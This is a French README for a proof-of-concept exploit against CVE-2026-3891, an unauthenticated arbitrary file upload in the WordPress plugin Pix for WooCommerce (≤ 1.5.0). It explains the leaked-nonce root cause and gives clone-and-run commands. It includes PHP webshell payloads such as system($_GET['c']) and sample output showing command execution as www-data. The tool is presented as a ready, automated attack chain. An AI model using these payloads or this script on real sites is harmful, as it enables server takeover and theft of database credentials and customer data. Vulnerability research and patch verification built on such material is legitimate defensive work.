
PoC pour CVE-2026-3891 – Exécution de code à distance (RCE) par téléversement de fichier non authentifié dans Pix for WooCommerce ≤ 1.5.0. Récupération automatisée du nonce, téléversement PHP et exécution de commandes.
Exploit de preuve de concept pour CVE-2026-3891 – téléversement arbitraire de fichier non authentifié menant à une exécution de code à distance dans le plugin WordPress Pix for WooCommerce (≤ 1.5.0).
CVE-2026-3891 est une vulnérabilité critique dans le plugin Pix for WooCommerce, affectant toutes les versions jusqu'à 1.5.0. Le plugin n'applique pas correctement les contrôles d'autorisation et de type de fichier dans son gestionnaire AJAX lkn_pix_for_woocommerce_c6_save_settings. Un attaquant non authentifié peut abuser de cette faille pour téléverser des fichiers PHP arbitraires dans un répertoire accessible publiquement et obtenir une exécution de code à distance sur le serveur WordPress sous-jacent.
Ce dépôt contient un PoC de qualité production qui automatise toute la chaîne d'attaque – de la récupération d'un nonce valide au téléversement d'un webshell – avec une gestion d'erreurs robuste et une belle interface CLI.
certificate_crt_path attendu par le gestionnaire vulnérable.--check).[ * ], [ + ], [ - ], [ ! ] pour une lisibilité immédiate.La cause racine réside dans deux actions AJAX enregistrées par le plugin :
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Cette action est rattachée à wp_ajax_nopriv_*, ce qui la rend accessible aux visiteurs non authentifiés. Elle génère un nonce pour l'action lkn_pix_for_woocommerce_c6_settings_nonce et le renvoie dans une enveloppe JSON :
{"success":true,"data":{"nonce":"abc123..."}}
Aucune vérification de capacité ni d'authentification d'utilisateur n'est effectuée – n'importe qui peut demander un nonce valide.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Ce gestionnaire enregistre les paramètres du plugin, y compris un champ de téléversement de fichier nommé certificate_crt_path. Bien que le téléversement passe par le helper media_handle_upload de WordPress, le plugin omet de :
current_user_can manquant) ;.php) ;wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
qui est directement accessible via le web.Comme le nonce ne protège que contre le CSRF et que n'importe qui peut l'obtenir, un attaquant peut enchaîner ces deux actions pour téléverser et exécuter du code PHP arbitraire.
www-data ou apache).wp-config.php, des identifiants de base de données et des données clients.requests (installation via pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Pour un contrôle plus fin, utilisez les options de la ligne de commande :
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Option | Description | Défaut |
|---|---|---|
target (positionnel) | URL de base du site WordPress. | Requis |
-f, --filename | Nom du fichier PHP téléversé. | woocommerce.php |
-p, --payload | Code PHP à téléverser. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Délai d'attente (timeout) des requêtes, en secondes. | 15 |
-r, --retries | Nombre maximal de tentatives de récupération du nonce. | 2 |
--no-banner | Masquer l'ASCII art. | (désactivé) |
--no-verify | Ignorer la vérification d'accessibilité après le téléversement. | (désactivé) |
--check | Exécuter id sur le webshell après le téléversement. | (désactivé) |